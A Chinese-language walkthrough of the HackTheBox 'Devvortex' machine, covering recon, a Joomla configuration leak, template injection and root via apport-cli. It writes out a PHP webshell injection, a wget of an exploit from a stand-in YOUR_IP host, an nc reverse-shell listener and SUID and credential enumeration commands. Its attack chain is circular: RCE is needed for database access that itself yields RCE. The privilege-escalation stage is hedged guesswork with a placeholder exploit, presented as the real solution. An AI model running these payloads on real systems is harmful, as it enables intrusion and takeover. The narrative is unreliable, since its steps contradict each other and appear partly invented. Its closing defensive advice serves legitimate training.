从Joomla配置泄露到Apport提权:Devvortex靶机渗透实战解析
1. 项目概述一次从Web到Root的完整渗透之旅最近在HackTheBox平台上玩转了一台名为“Devvortex”的靶机整个过程堪称一次教科书级别的渗透路径复现。这台靶机巧妙地串联了多个经典漏洞从初期的Web信息收集到利用Joomla CMS的配置信息泄露再到通过模板注入实现远程代码执行最后通过一个不太常见的Linux提权向量完成权限升级最终拿到root权限。整个过程逻辑清晰环环相扣非常适合用来巩固和检验一个渗透测试人员的基础技能链。无论你是刚入门渗透测试的新手还是想重温一下经典攻击手法的老手Devvortex都能提供一次非常扎实的实战演练。接下来我就把这次渗透的完整思路、操作细节以及踩过的坑毫无保留地分享出来。2. 靶机环境与初步侦察2.1 目标锁定与端口扫描拿到一个靶机IP地址后我的习惯永远是先进行全面的端口扫描以勾勒出目标暴露的攻击面。对于HTB的靶机通常我们使用Nmap工具。nmap -sC -sV -p- 10.10.11.242 -oA devvortex_full这里解释一下参数-sC使用默认的Nmap脚本进行扫描能发现一些基础服务信息-sV探测服务版本这对后续寻找对应版本的漏洞至关重要-p-表示扫描所有65535个端口确保没有遗漏-oA则将结果以所有格式normal, xml, grepable输出方便后续分析。扫描结果通常会先聚焦在那些常见的开放端口上。对于Devvortex不出意外的话你会看到两个关键的端口80和22。80端口运行着HTTP服务这是我们Web渗透的入口点22端口运行着SSH服务这往往是后期获取稳定shell或进行横向移动的通道。首先我们把注意力集中在80端口。2.2 Web应用指纹识别与目录枚举访问http://10.10.11.242一个标准的网站页面呈现出来。第一步是识别网站使用的技术栈。这里有几个快速的方法查看HTTP响应头使用浏览器开发者工具F12的“网络”选项卡刷新页面查看服务器返回的Server、X-Powered-By等字段。有时会直接暴露Web服务器如Apache/Nginx和后端语言如PHP信息。检查页面源代码查看HTML源码注意meta标签、注释、引入的JS/CSS文件路径这些常常包含框架名称、版本等线索。使用工具自动化识别比如whatweb或Wappalyzer浏览器插件。在终端运行whatweb http://10.10.11.242可以快速获取技术指纹。很快我们就能确定目标网站是一个Joomla!内容管理系统。Joomla是一个广泛使用的开源CMS历史上存在过大量漏洞这立刻提升了我们的攻击信心。接下来进行目录和文件枚举寻找隐藏的入口点、配置文件、备份文件等。我习惯使用gobuster或ffuf这类工具。gobuster dir -u http://10.10.11.242 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -o gobuster_scan.txt参数说明dir指定目录扫描模式-u指定目标URL-w指定字典文件这里用了经典的common.txt-x指定尝试的文件扩展名-o将结果输出到文件。在扫描结果中需要特别关注诸如/administratorJoomla后台、/components、/modules、/templates等Joomla标准目录以及像/config、/backup、/phpinfo.php、/robots.txt这类可能泄露信息的路径。实操心得目录枚举时不要只跑一个字典就完事。可以组合使用不同的字典如directory-list-2.3-medium.txt和工具进行交叉验证。有时一个不起眼的目录比如/api或/dev可能就是突破口。同时注意观察扫描结果中的HTTP状态码403禁止访问和401需要认证的目录也值得记录它们可能保护着重要资源。3. 漏洞挖掘与利用Joomla配置信息泄露3.1 发现关键信息泄露点在对Joomla进行深入枚举时一个经典的漏洞利用点浮现出来访问Joomla的安装目录或配置文件。在某些不安全的配置下Joomla的安装目录/installation/可能未被删除或者配置文件configuration.php可能被直接访问。尝试访问http://10.10.11.242/configuration.php。如果服务器返回的是文件下载提示或直接显示了PHP源码而非执行后的空白页那我们就中大奖了。这是因为该文件可能被错误地配置了权限允许外部读取。另一种情况是如果/installation/目录存在有时可以通过它来重新配置数据库连接这也可能泄露信息。在Devvortex靶机中我们正是通过直接访问configuration.php文件获得了关键信息。3.2 分析泄露的配置文件成功下载或查看configuration.php后打开这个文件里面包含了Joomla连接数据库的所有核心配置public $host localhost; public $user joomla_user; public $password s3cr3tPssw0rd!; public $db joomla_db; public $dbprefix jos_;这里$user和$password就是Joomla应用连接后端数据库很可能是MySQL的凭据。这是一个严重的信息泄露漏洞因为它将数据库的控制权间接交给了攻击者。3.3 利用数据库凭据获取进一步访问权拿到数据库凭据后我们有几个方向可以探索直接连接数据库如果MySQL服务默认3306端口对外部开放我们可以直接用mysql客户端连接。但HTB靶机通常不会将数据库端口开在公网。不过如果我们在后续能获得一个在目标服务器上执行命令的shell即RCE就可以在服务器本地连接数据库。寻找Joomla后台密码Joomla的用户密码哈希存储在数据库的#__users表中#__是你在配置文件中看到的$dbprefix例如jos_。如果我们能操作数据库就可以查询或修改这些哈希。一种攻击方法是查询管理员用户的密码哈希然后尝试离线破解如用john或hashcat。如果密码强度不高有可能破解出来从而登录后台。写入Webshell通过数据库操作向服务器可写目录写入一个PHP文件从而获得Webshell。这需要我们知道网站的绝对路径并且该路径有写权限。路径信息有时会在Joomla的其他表如#__extensions或错误信息中泄露。在Devvortex的渗透路径中我们首先尝试的是第二种方法获取后台密码。但这里有一个更巧妙的利用链在等着我们。注意事项在真实渗透测试中发现configuration.php可读是高风险发现必须立即报告。对于防御方务必确保该文件权限设置为仅Web服务器用户可读如640并且位于Web根目录之外或通过.htaccess等规则禁止直接访问。4. 深入利用模板注入实现远程代码执行4.1 从数据库到模板编辑器的跨越仅仅拿到数据库密码可能还不够特别是当管理员密码哈希很强无法破解时。我们需要寻找其他突破口。回顾Joomla的架构其前台页面的渲染依赖于模板Template。如果我们可以修改模板文件插入PHP代码那么当任何用户访问使用该模板的页面时我们的代码就会被执行从而实现RCE。如何修改模板通常需要Joomla的后台管理员权限。但我们没有。这时我们之前获取的数据库访问权限就派上用场了。我们可以通过直接操作数据库来修改模板文件的内容。Joomla的模板信息存储在数据库的#__template_styles和#__extensions等表中。模板的物理文件通常位于/templates/[template_name]/目录下。核心的页面布局文件往往是index.php或component.php。4.2 通过数据库写入PHP代码首先我们需要通过某种方式执行SQL语句。如果我们已经通过其他漏洞比如SQL注入获得了数据库交互能力或者像本案例中我们计划在获得RCE后的shell里本地连接MySQL就可以操作。假设我们通过后续的RCE获得了一个shell并能在目标服务器上执行命令。我们可以使用MySQL命令行工具连接本地数据库mysql -u joomla_user -ps3cr3tPssw0rd! -D joomla_db连接成功后我们需要找到当前正在使用的模板及其ID。可以查询#__template_styles表SELECT id, template, home, title FROM jos_template_styles WHERE home 1;home1通常表示是默认的前台模板。记下id和template名称例如cassiopeia。接下来我们需要找到模板文件的实际内容存储在哪儿。对于Joomla的核心模板其文件内容并不直接存在数据库里而是以文件形式存放在/templates/[template_name]/目录下。但是我们可以通过数据库修改模板的“描述”或“参数”字段有时这些字段的内容会被加载并执行。然而更直接的方法是通过数据库查询找到网站物理路径然后直接向该路径下的模板文件写入代码。我们可以搜索包含路径信息的表或尝试读取Joomla的全局配置。一个常见的方法是查询#__extensions表其中manifest_cache字段可能以JSON格式存储了扩展的安装路径信息。或者我们可以利用RCE执行系统命令来寻找路径例如find / -name “index.php” 2/dev/null | grep -v “proc”。假设我们找到了网站根目录是/var/www/html当前模板是cassiopeia。那么模板的index.php文件路径就是/var/www/html/templates/cassiopeia/index.php。4.3 实现远程代码执行现在我们有了在目标服务器上执行命令的能力这是实现数据库本地连接的前提实际上这个RCE能力是通过后续步骤获得的这里为了逻辑连贯先进行说明也知道了模板文件的路径。我们可以直接用echo或cat命令将PHP代码追加到模板文件中。例如写入一个最简单的Webshellecho ‘?php system($_GET[“cmd”]); ?’ /var/www/html/templates/cassiopeia/index.php或者为了更隐蔽可以插入到文件末尾的/body标签之前。但修改核心模板文件容易被发现。更优雅的做法是创建一个新的模板文件或者修改模板的error.php这类不常被检查的文件。写入成功后我们访问网站的任何页面只要使用了这个模板就可以通过URL参数执行系统命令了http://10.10.11.242/index.php?cmdid页面输出中如果包含了uid、gid等信息就证明我们的RCE成功了。至此我们获得了在Web服务器用户权限下执行任意命令的能力。踩坑记录直接覆盖index.php可能会破坏网站正常功能导致被发现。在实际测试中我更喜欢写入一个单独的文件比如shell.php放在一个不起眼的目录。但这就需要该目录有写权限。可以先尝试在/tmp目录写然后通过PHP的include或file_get_contents函数去包含它。另外注意目标系统可能禁用了一些危险的PHP函数如system、exec、shell_exec等。如果遇到这种情况可以尝试使用passthru、popen、proc_open或者用PHP代码直接读写文件、进行Socket通信等替代方法。5. 权限提升利用apport-cli漏洞获取Root5.1 初始立足点与信息收集通过Webshell执行whoami命令我们通常会发现当前用户是www-dataApache/Nginx的运行用户。这是一个权限很低的用户无法读取/root目录下的flag也无法进行重要的系统配置。因此提权是必经之路。首先进行系统的信息收集# 查看系统版本和内核信息 uname -a cat /etc/os-release # 查看当前用户权限 sudo -l # 如果www-data用户有sudo权限这是最直接的提权方式 # 查看具有SUID权限的特殊文件 find / -perm -us -type f 2/dev/null # 查看计划任务 crontab -l ls -la /etc/cron* /var/spool/cron/ # 查看可写的系统文件或目录 find / -writable -type d 2/dev/null | grep -v “/proc\|/sys”5.2 发现可疑的SUID二进制文件在运行find / -perm -us -type f 2/dev/null命令后列表中除了常见的/bin/ping、/bin/su、/usr/bin/passwd等一个不常见的路径引起了我的注意/usr/bin/apport-cli。Apport是Ubuntu系统上用于自动收集软件崩溃报告并生成错误报告的工具。apport-cli是其命令行界面。一个用于错误报告的工具为什么需要以Set-UID root权限运行这本身就是一个危险信号意味着它可能在处理某些操作时没有正确丢弃高权限从而存在提权漏洞。5.3 调查apport-cli的提权可能性立刻搜索已知漏洞。使用searchsploit或者在互联网上查询“apport-cli privilege escalation”。很快就能找到相关信息在某些版本的apport-cli中存在一个参数注入或路径遍历漏洞允许低权限用户读取任意文件甚至可能以root权限执行代码。具体漏洞原理可能涉及apport-cli在生成崩溃报告时会以root权限读取/proc/[pid]目录下的某些文件如/proc/[pid]/cmdline/proc/[pid]/environ。攻击者可以通过符号链接symlink攻击将/proc/[pid]下的某个文件链接到目标敏感文件如/etc/shadow然后诱使apport-cli去读取它从而以root权限泄露目标文件内容。更进一步的利用可能是通过控制环境变量或参数让apport-cli加载恶意的共享库.so文件从而实现代码执行并继承root权限。5.4 漏洞利用步骤详解这里以一个典型的利用链为例确认漏洞存在首先检查apport-cli的版本和是否有已知的公开利用脚本PoC。可以尝试运行apport-cli --help查看选项或者用strings /usr/bin/apport-cli | grep -i “version”粗略查看。利用符号链接读取敏感文件创建一个指向/etc/shadow的符号链接。通过操控apport-cli报告某个进程比如当前shell的进程的崩溃使其读取被我们符号链接替换的文件。由于apport-cli以root权限运行它能够成功读取/etc/shadow并将内容包含在它生成的报告文件中通常位于/var/crash/。我们作为www-data用户可能有权读取这个报告文件从而获取root用户的密码哈希。破解密码或直接获取root shell如果root用户设置了密码我们可以尝试用john破解获取的哈希。如果运气好root密码可能很简单。或者如果漏洞允许命令执行我们可以直接让apport-cli以root身份执行我们的反弹shell命令。在实际的Devvortex靶机中利用过程可能更加直接。网上有公开的PoC脚本其核心是滥用apport-cli的-f报告文件和-c覆盖报告内容等参数通过精心构造的路径最终实现以root权限执行任意命令。简化版利用思路编写一个简单的C程序编译成可执行文件其功能是启动一个bash shell/bin/bash或反弹shell。将这个程序设置为SUID位是没用的因为我们是www-data无法为文件设置SUID。但我们可以利用apport-cli的漏洞让它以root身份去执行我们的这个程序。通过参数注入让apport-cli的某个函数调用system()或exec()家族函数其参数指向我们可控的恶意程序路径。由于apport-cli本身是SUID root它调用的system()也会以root权限运行从而我们的恶意程序就获得了root shell。5.5 实际操作与获取Root权限在靶机环境中我们可能不需要自己从头编写利用代码。可以搜索并下载现有的PoC。例如找到一个名为apport_exploit.py的Python脚本。将其上传到靶机通过之前的Webshell然后执行。# 在本地攻击机准备PoC searchsploit -m linux/local/xxxxx.py # xxxx为漏洞编号 # 修改PoC中的反弹shellIP和端口 # 通过Webshell将PoC上传到靶机 # 例如在Webshell中执行 cd /tmp wget http://YOUR_IP/apport_exploit.py # 在攻击机监听端口 nc -lvnp 4444 # 在靶机Webshell中运行PoC python3 /tmp/apport_exploit.py如果漏洞利用成功我们将在攻击机的nc监听端口中收到一个来自靶机的、以root用户身份建立的连接。执行whoami确认返回root提权成功。核心技巧在利用SUID二进制文件提权时GTFOBinshttps://gtfobins.github.io/是一个宝藏网站。它列出了大量如何利用常见的Linux二进制文件进行提权、绕过限制的方法。虽然apport-cli可能不在其标准列表中但搜索思路是相通的查看该二进制文件是否有执行命令、读写文件、加载库的能力并尝试劫持这些功能。此外对于任何不常见的SUID文件都要保持高度敏感用strings命令查看其内部字符串寻找可能的命令执行函数systempopenexec或文件操作路径。6. 总结与防御思考回顾整个Devvortex靶机的渗透过程它清晰地展示了一条从外部侦察到最终获取root权限的完整攻击链信息收集通过端口扫描发现Web服务目录枚举发现Joomla CMS及可读的配置文件。漏洞利用利用Joomla配置信息泄露获取数据库凭据。横向移动/深入利用结合数据库凭据与对Joomla架构的理解通过修改模板文件或利用其他漏洞实现远程代码执行获得www-data权限的shell。权限提升在目标系统上进行深入枚举发现具有SUID权限的非标准二进制文件apport-cli研究并利用其漏洞最终成功获取root权限。对于防御者而言每一步都可以设置相应的防护措施信息泄露严格配置Web服务器和CMS权限确保配置文件、备份文件、安装目录等敏感资源无法从外部访问。定期进行安全扫描和渗透测试自查信息泄露风险。弱口令与默认配置为数据库、后台管理等使用强密码并避免在多个地方复用。及时删除Joomla的安装目录。代码注入保持CMS核心、组件、模板的及时更新避免使用存在已知漏洞的扩展。对用户输入进行严格的过滤和验证特别是在模板、模块等可以编辑代码的地方。系统层提权遵循最小权限原则定期审计系统上的SUID/SGID文件移除非必需程序的特殊权限。及时为操作系统和软件打上安全补丁包括像apport这类系统工具。这台靶机就像一次精心设计的实战演练它告诉我们安全是一个整体任何一个环节的疏忽都可能被攻击者串联起来形成致命的突破口。作为渗透测试人员我们需要具备这种串联思维而作为系统管理员或开发者则需要有全局的防御视野筑牢每一道防线。